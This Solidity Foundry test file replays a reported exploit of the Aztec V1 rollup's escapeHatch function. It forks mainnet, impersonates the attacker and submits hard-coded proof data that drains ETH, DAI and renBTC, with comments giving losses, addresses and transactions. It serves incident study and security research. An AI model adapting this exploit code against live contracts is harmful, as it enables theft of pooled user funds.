src/test/2026-06/AztecEscapeHatch_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import {IERC20} from "forge-std/interfaces/IERC20.sol";
6 
7// @KeyInfo - Total Lost : ~$2.2M (1158 ETH + 150,000 DAI + 0.4696 renBTC)
8// Attacker : 0x6952d9246e9afe8b887b2877225163436f78e97f
9// Attack Contract : none (attacker EOA calls escapeHatch directly)
10// Vulnerable Contract : 0x737901bea3eeb88459df9ef1be8ff3ae1b42a2ba (Aztec V1 rollup)
11// Verifier : 0x48cb7ba00d087541dc8e2b3738f80fdd1fee8ce8 (TurboVerifier / Turbo-PLONK)
12// Attack Tx (ETH)   : https://etherscan.io/tx/0xab306cd2184d23b6ba3e151b10b3b9a0b81f211cc16f4f3b0c79f0b17a59c2b5
13// Attack Tx (DAI)   : https://etherscan.io/tx/0x5c196c37a109d74c9797254287a0331f30e0daa637af241bd28fdc43774705c3
14// Attack Tx (renBTC): https://etherscan.io/tx/0x9e1d6ab7c20ae235409d7dd3a9cd47c04f07293585b3498b8beed82d6f6b03ca
15 
16// @Info
17// Vulnerable Contract Code : https://etherscan.io/address/0x737901bea3eeb88459df9ef1be8ff3ae1b42a2ba#code
18 
19// @Analysis
20// The Aztec V1 rollup exposes escapeHatch(bytes proofData, bytes signatures, bytes
21// viewingKeys), a permissionless exit that accepts a Turbo-PLONK rollup proof and pays
22// out the encoded withdrawal. The attacker submitted proofs the TurboVerifier accepted
23// yet that authorized withdrawing the rollup's entire pooled ETH/DAI/renBTC balance to
24// an address with no matching deposit, breaking the rollup's value-conservation invariant.
25// Each proof is a cryptographic witness bound to the rollup's on-chain roots at its block.
26 
27address constant ATTACKER = 0x6952d9246e9aFE8B887B2877225163436F78E97F;
28address constant ROLLUP   = 0x737901bea3eeb88459df9ef1BE8fF3Ae1B42A2ba;
29address constant DAI       = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
30address constant RENBTC    = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D;
31 
32interface IAztecRollup {
33    function escapeHatch(bytes calldata proofData, bytes calldata signatures, bytes calldata viewingKeys) external;
34}
35 
36contract AztecEscapeHatch_exp is BaseTestWithBalanceLog {
37 
38    function testExploit_ETH() public {
39        vm.createSelectFork("mainnet", 25_339_093);
40        vm.label(ATTACKER, "Attacker");
41        vm.label(ROLLUP, "AztecRollup");
42 
43        uint256 before = ATTACKER.balance;
44        bytes memory proofData = hex"0000000000000000000000000000000000000000000000000000000000001187000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e5080184bea7d9493cd9a5efb6b679d04066a8c92a34ac8ec150e9635133c6010977b2fb084d87a457db0ad70a86db0dfb4ed8da7993ad285c8b462b9f4c10418198e1bb500220ec0322c30871a10ba077023e3b59756525a388c716af9885fca63c429627e94146837d2797339bfaba749d418ca0ab9d729ae607c56fde50058f9000942a9a79290a578284f92a06796564b4adaf233d41afc3bef5b9d982bc1e2e6195163570c3d252089786cd1cae2ffca424385ad041fa305137871368686814b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003ec67a70a72e580000000000000000000000000000000000000000000000000000000000000000000010ba393c1132bdb93b298c28715e1651899570106fd51d39cfdc49f3baad0e8c23a2106cd33cdb0933bdd33d937c2f63425335090909084da4fc4d1e1b40898910ba393c1132bdb93b298c28715e1651899570106fd51d39cfdc49f3baad0e8c23a2106cd33cdb0933bdd33d937c2f63425335090909084da4fc4d1e1b40898925662f004e52424b71a90da45d4701dfb4c0cbae16c2017c7a3998e36e54df5b00804af5bff25ce2229d87a8297abfe7ea5bd3b669c6bb8e5901686973084a5e0bed7ec58f5c95336e05a99ec87da656894fda9347ecf9351add8066e9224eb00000000000000000000000006952d9246e9afe8b887b2877225163436f78e97f19757ea4be47eb0e866465b723e020d210976c9d44c1309074aa89d458600ea12f5e826956c4da48d2228620f4d18af50c475a109ba8b25380a10216c2bd9b5a022a67873de92725b8a55eb54ceb02b2939247fccccd61d601c00b161b32b34f115b3ac9bdb3e431b0f33564dc462ffd80a0c35deb76ef1067d19ddf9cb297d112b60400ff5627b955d148542dd798d48e6e8296940ec55fc92b49e951715cc727157d31b21f130c0b80f9989fce160542d115e7e2299b50bbc3b7d5a4cc5c0017b7da73ffb40d8a17fb2e6a0faa231e81ea851069e20397d6a9bf84e14a5a2524229bc91a7338b3fe07ea575b96f3c4ce9d72dae9777272cb8ff201d6110ad50b4512cbd7acfeebf27a64018fe1fafb4eaf11185649119830fdfa361fa5b8f92d245acc451c1aaea7bf2fdf5ca4796bf325252cb75a892dcec7bb11f0a5cf6e238ac432a02ebd06e71549cd22fb2a464809f552c97aa21352090326433724ea098a3d00ed9e95d9d7c30bfe53520b3ae8dc9b382c1940eb5fdd2696422fb1a505e372ddfec4d9adc92e2aa79a0c1ef9bc6bd19eda13c7b22786b1220e9fda8c1a56291320033c1166997bf24b13d7aefadcc2bcde7775749834daea1b7839b821b30df87110a9abd7762a4a977c9b091df7bbe9c3ad7f73d205e1da520e2faf2a13fbf5dbaefc3eee7cb1b7e68db9975f0f320af77c5cd46ce9313b12548d000192c76a318ec836bc96ecba9eca929b4861050ba06685435e6fdf5923e137cb27174a7e33b4af2a6b0e966700314f90e78eedd202dcb5342b31a594c596f7101e4b9a249861c2d2a6402be162efd84d62a8d36d48ed81e296f14f2ef2652d0218d96c370301522a46e365ca8021d08669d4008ef04fa485d875d2930b0c6bf5188345440456fc9f4ac52d279526c00fde8d884fa1be42b4abd9f8009607a7e80b17a3a4dbbac09f1ae15e07b1ea2d5d526a3c98e1f85115cc778b9b126da6b02f4dc9c9029682d99546d4ffdeb5b02a5f0b681ebc2ff59ab508a75ff2a1637c19495595eca55480489667cfb89ab8ca4b27b4687cb4dcfcec5e8dec2b20f5b808052832d341b011b41d757c8ecefd007667d2b915d3ab4a27938ccf937514272969fff300c6cc84422982c01115f4ec4cd31ba10b0b2e54548a195335123e86112790e76703cf7c0a506192430377cf2e194a657415204afc14bc249a502d132025725eb588cb91a79d3e8b4e1d5afd4a6c23cb3f8d8aff9d8c0d15e377d24528be730816aea0456b9dcbaaea7bdca504a849f2d7707902b3c06f37c89705d7134bb67236ad07cc29a0038a98282ed88e509dcf004764e82f425d0e742dd53d17ecf5bfbd58d3b1934b337ce7732c49e2777723dd4687418fa3d9985ed267b51c3351ec0c063098c1ba1efe2cfb6e50aff15b2572f6ae78c22c1f8c8c69ddfb1c183ae14a62fbbadfe72b32ddf2061d5a84ab00eb3af41cd24a8a6e46d122fe2ea871d1aadb441338523e1ef599d360405788859ab780e945669fa217749cfc003bd1d46b7f6dc0513aed0c496c97b8221c7ddc81e866b298fb52adc4998ecc24144e667dee4d810044ae0179d9979971ae67a83e3eb379db08d8bebc5a1b0b1434d22574e567d8f53b9301a96030f68d60ba97a891ccaeabe3cbb967de7fbc15d6c8fd3ad7bc2233ffbc731eedd690ae9901a0d332edf9f0e0baa9ee95cc72";
45        vm.prank(ATTACKER);
46        IAztecRollup(ROLLUP).escapeHatch(proofData, "", "");
47        assertGt(ATTACKER.balance - before, 1000 ether);
48        emit log_named_decimal_uint("ETH profit", ATTACKER.balance - before, 18);
49    }
50 
51    function testExploit_DAI() public {
52        vm.createSelectFork("mainnet", 25_339_168);
53        vm.label(ATTACKER, "Attacker");
54        vm.label(ROLLUP, "AztecRollup");
55 
56        uint256 before = IERC20(DAI).balanceOf(ATTACKER);
57        bytes memory proofData = hex"0000000000000000000000000000000000000000000000000000000000001188000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e50822fb084d87a457db0ad70a86db0dfb4ed8da7993ad285c8b462b9f4c10418198e2b820e62fbe9c4707c59b23bee9778312e6bdf329c62bb55c56ab4c9a534e5dc29627e94146837d2797339bfaba749d418ca0ab9d729ae607c56fde50058f90002284bd66c629747490e32215e106e638fe9a20d45c99dc481af0e50309f061d195163570c3d252089786cd1cae2ffca424385ad041fa305137871368686814b2864f410cef94065b0ca985023d60d105bff09e6a6c52ed5d00eb4d3b18f886a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001fc3842bd1f071c0000000000000000000000000000000000000000000000000000000000000000000012733bbceddf8ee7539a795fc21d48490ba84de1b82d6591bf16a7d6028554ac12bc0a3e8a8afcf30e2f84428e5f825de670a77c616f9ac9e8f178b06c1dca1c92733bbceddf8ee7539a795fc21d48490ba84de1b82d6591bf16a7d6028554ac12bc0a3e8a8afcf30e2f84428e5f825de670a77c616f9ac9e8f178b06c1dca1c92e94bdfb444789cb4a5b20f0435fb435281b79ecf11551c007c517b6c195c4d51440b2c0c930d190e9e0b274bc50fff8d5c6412d86556bd4c6c7aa9fe5bab6900f321d9a62fe89ad5a8e66585d8e68e96ae9ab7b188c6df9f61805bd03191d3a0000000000000000000000006952d9246e9afe8b887b2877225163436f78e97f0a31c738767ac20734813f4429bee3ed3ebc67c0149cd5bf761b9508d1452f4807a6354470d6f18b9044faa354fc8b21d32cba09e3bc70a927c6ac98a9171aec1d8150012e4c910a608eabe1cb0991f6e359b7bc2bbf86ea514084e85f883e4a19c2396dd3f3830a4c76547e274c6ecd3eb18b570c9cff547a3ecc3177942ea909898082c1aed08d5adba8626fe24bcc7d2f89bf4d4e334525892a65cb1d5233302de0250c3f23f96ea2e9a016fd0b901fd00c2f1b4059f6a182e6cc7d247b8014327cda747939becd061e5aecd5407a1f66749a3abf72ce95410f9efa94f0241f102b6be417ef6c98171fca506ac1ba216547e662270486877243cf6028ff8429c47097e65c0e37c90fc9d6b2bda93b386c3d29833f3c4dfbd6ef946a7991fc27c4888dca75f007d7d54a20065c294908e0c43beb0755670e10d2e561a735f32369fd3f21ef30d103e6e0d54d5f681c1015ba03c8567f6a554cba45ec0bc8ca1efd6b6fbdf75627c6ae2710b7e2415533a067181ce0e74e8c1cc91f7f94633d0860c600c28e5746dc5e23d627800e827cd23ce0419b9940663b65137e28559d0f72ea111f3909148f12537e1108408a4047436a7719eee474ee5988a21d534604878cf6a0aa772e09a6bf1164f628f72461ec62f25ad5a4a8f308c45283eeff2241c1414150822758c724ac18f769dbbaed998cc6d1480f8f46501f30e3a016238be44162ba8aaf0cea39b9070b7977ad2a8bc986f9af6f640bc523e77b73221706a320f3e6fe210f883168764ebcf7cf27427068a0f0d7daa5d2ac1f6d735c27b35b70a6c10260d1b218058cf07e8470ce0c8497c7ac9bb422ac00e8e73b32137254280b863ee4b58ec9c94eb9010c8bb6d4db74c29bf84ddea9aa83c535b519ebc45e70978c795c6049e957fa7fe008aeb198e0477adbfbaa6449d3edd7fb09affcb9bc5216489aa1431dc3f84e57e79c001d3af670462852a89eb433d9972758a0e1ec82e1c4d0e28fe7fc8d46d8ce302d76b31f269351f4666344ae30841cb88990f0cd6d6660fee7e75c054b758090c3886924165b9e2daa7687fd781a28f69f960307e2bae982fa798df53efc2feb2b952d13c92341fb8537141119590a41cc838d7a4300beb77437b0efb14a410913585ae635687a0869b971be5430146c5d76a1de37fb5488857d0739f1ca95cd3adcb3e6766c6fc7eb55a079e0362566361404726b29b6b21c5a679c26e0f10e79f4cc646fba6e59236d0acc5cc61d87396a9cbb3ee3f12bed707ead53d088924953758ac571dafd743202300ae10aad3a489c7a8ec3c5b0f46a567caee9443236c8d8081ae7f5ce9e6d5b3c365717bae6b1d04d680129d823198dab6a65da0021ab09fdb40784896c19683b1d461336cc9eeabfab08e1990d5036a330049ba9b4fa8368e37129d69fa5704d4ba3226145fe3d7e85c89b33fc9f6d342c66653615ea5f86bc9791c8cffafba4965000676c80afd556598ac2b6eca39478351c4a6357ebb9591548e4293166c997f907c884e6d8abe9b449f7bc8ff56084afd45d40e290807ee0ae7feae4b0432ef50a8577f57ad4ae5949f0a74a81cb07facc0c0d081697d29bbd141e9bb64a985e0e29e710b9e647a2b6957d57115e4eb65459ec149694683a02963a4d669f93e71969a96306682ef64e8991c00f49178f8e311210835face6121bf72fc8d9293c";
58        vm.prank(ATTACKER);
59        IAztecRollup(ROLLUP).escapeHatch(proofData, "", "");
60        assertGt(IERC20(DAI).balanceOf(ATTACKER) - before, 100_000e18);
61        emit log_named_decimal_uint("DAI profit", IERC20(DAI).balanceOf(ATTACKER) - before, 18);
62    }
63 
64    function testExploit_renBTC() public {
65        vm.createSelectFork("mainnet", 25_339_171);
66        vm.label(ATTACKER, "Attacker");
67        vm.label(ROLLUP, "AztecRollup");
68 
69        uint256 before = IERC20(RENBTC).balanceOf(ATTACKER);
70        bytes memory proofData = hex"0000000000000000000000000000000000000000000000000000000000001189000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e50842b820e62fbe9c4707c59b23bee9778312e6bdf329c62bb55c56ab4c9a534e5dc18f0ef7fe60bd48442f923ebcf153a299bccc04a24439a84151cdd51d264f5c502284bd66c629747490e32215e106e638fe9a20d45c99dc481af0e50309f061d0c47655c9ec6e0ebb124eb294ca1b55056a458433ad18638bd1ddd24b62d40512864f410cef94065b0ca985023d60d105bff09e6a6c52ed5d00eb4d3b18f886a1bc6ea7ead69ea047560577c70d83ead19f7803af5dd0a6e4c8441e86aacb4c500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002cc9a5f0000000000000000000000000000000000000000000000000000000000000002231406cb564ae522b0b1ca2c4009bdeafd393e4a6b692d9421d103389a19394e2e8b70144e178e25bd154bbf6f5047afd4e1766473fc2f7a74084f10820fac6c231406cb564ae522b0b1ca2c4009bdeafd393e4a6b692d9421d103389a19394e2e8b70144e178e25bd154bbf6f5047afd4e1766473fc2f7a74084f10820fac6c27d548b268647c89e7c51a7be7bfdc7e85f1ddb6adb3f20c69c95790cbb32c550dbf28a50584c9f94a2f711de972c3b837184cd2861ce248461e663617d5b91b06615a3a5df18abd7e4c42a0e52e0973352253699cf80cb95342320b808279a70000000000000000000000006952d9246e9afe8b887b2877225163436f78e97f05923d1b239b7a0633e3911fa8a04e9a45b70b2d360ba584d4a10eecc43e215127b4c309dd5306bda714c4755075cc4fdf1240ee8f2c07c9349af45dd7c637501a817862784e1dbcce8457291850ce5f2beb5ae86f3a9535dc40d8b4112fe71e2aeff6cac17c534d1c38f2045b6eafe8263e5bbb67d485270d2e3f1dcd34879b1a1595317978442b72a321fcaf66428b7233db401ec2efc767e0f76af602d8f80253507c901b06fc2f45de561370d3f7afc5de5b3be0affce8b1590a335ded451443bad925f2293479c937099d13d9b0f7d9da56c18ccdd2d1fb7d69d48aaab62fbf944eedcbadfbb2900c64a27e620571c3bae6af2a35c055481f0a24b468b100467e5910784841d9f8247f9d3079937bda196074dee30da74ea6c88ed77b7f2075408bb53267b19b9b6e5af383c53ef80e88ad7fc8a86878e1129f8a7f7ddf23dc91a49b5bdfdc5395bac9418bf3e1a8dc4802812111805e53bfb3dfa757122a62e1b6064f4abac6489cc98b0d183881426584b86a3e5293adddffdcf47c4618a5a7d36cdbad05c5657886c9888554485ba56b760107788cb311043189707c28a0a14c559adf6f3f50ad1f88937d489286b74fe23fe42761136800d0d89b5b11799ec9775066c332c3f2e21fea1d3306e763f4d7dbfeab0345327946895a1a2079fcb3fb5d69e9deaef844eb232ab6f1c23dc7416602ccd36d1d2a1c7b6610258019f1fc8d29742165d6bbc76bc6075567c38b07942a32607d5409248916ad1ae422c62f0445a929952d6d5fae892df32d922df9b7bcecc7eb1f4bd9079ae910081e1efbf98ce969eafd5f37d311ed7d99261ce965da95ddebfbd18cc471fe2f75edafeda70b5a72bc2ffee2411eb8f9400183299320c9e129b5729d5b466e07cd2ee62fcc9874f3afcf830220db0958a9057003a1dd17778154b15c74a14d02fa1119d64fe1d94e42c36395794332d3f02b92727bd21b02da854a54f6b8f330108734c6ce4a925ff1ee3449cf8bb75d9087eb2b535135ee61d547609ef93726c583c9684b196d2e05d66eed8ad64364958c5817055cd09ee9ebaca2f3197e0dc6aa87719dba7d319dfc51cdb40c5865e39030112dc392f54b95950bbdf9861bfa352de85e34957e9c5c3a928dfd0d521cee2d9b5e1f8973e0636f3b52d133187e7a298deef6ceb7ddf499e736b1964676625ee52fce74a06d440204085a2e1f4c4071fadb59dacce225a82be5555cfbeb2f453b394e3219ad95c6577f9e32246bad07185e375e54063039961a0a1e3d083c28296cb49e91e8e326b68659261f63f88a40bc02cc15c6867630d67d4917042a7c27f2eec6bf2ec898d7c100062e7694586a193460365904a9c2ed5e70396e53c025b308954580d2929807b746035ed279be286410b8345e5ab8202e7d9c369b9b55fdbce098a49efba48f4de30dc3a7eae67ecfc22cf133cb0af2e3007a583f8e060b9b02cfe5497bc4f1214315d74de786e346254d4030c327ce7f2e76bad6275865e21066d12de828cdfc152b654f4ef6aecfdd2bb45a0b1f875f3c87cabdd1442a5a5346067a6c39f0a53b12b46809e05fce4149b9ca60b15214a6630dea8297b259a23bd5e3da72e94656059227471f02eaeb4d7d86a9731981b51f8ebadedd2566a38561d28d777ea1d50810058171e5ab63e1f08a98691474b3b8eeccb498aad09396352e1b0600c60f";
71        vm.prank(ATTACKER);
72        IAztecRollup(ROLLUP).escapeHatch(proofData, "", "");
73        assertGt(IERC20(RENBTC).balanceOf(ATTACKER) - before, 0.4e8);
74        emit log_named_decimal_uint("renBTC profit", IERC20(RENBTC).balanceOf(ATTACKER) - before, 8);
75    }
76}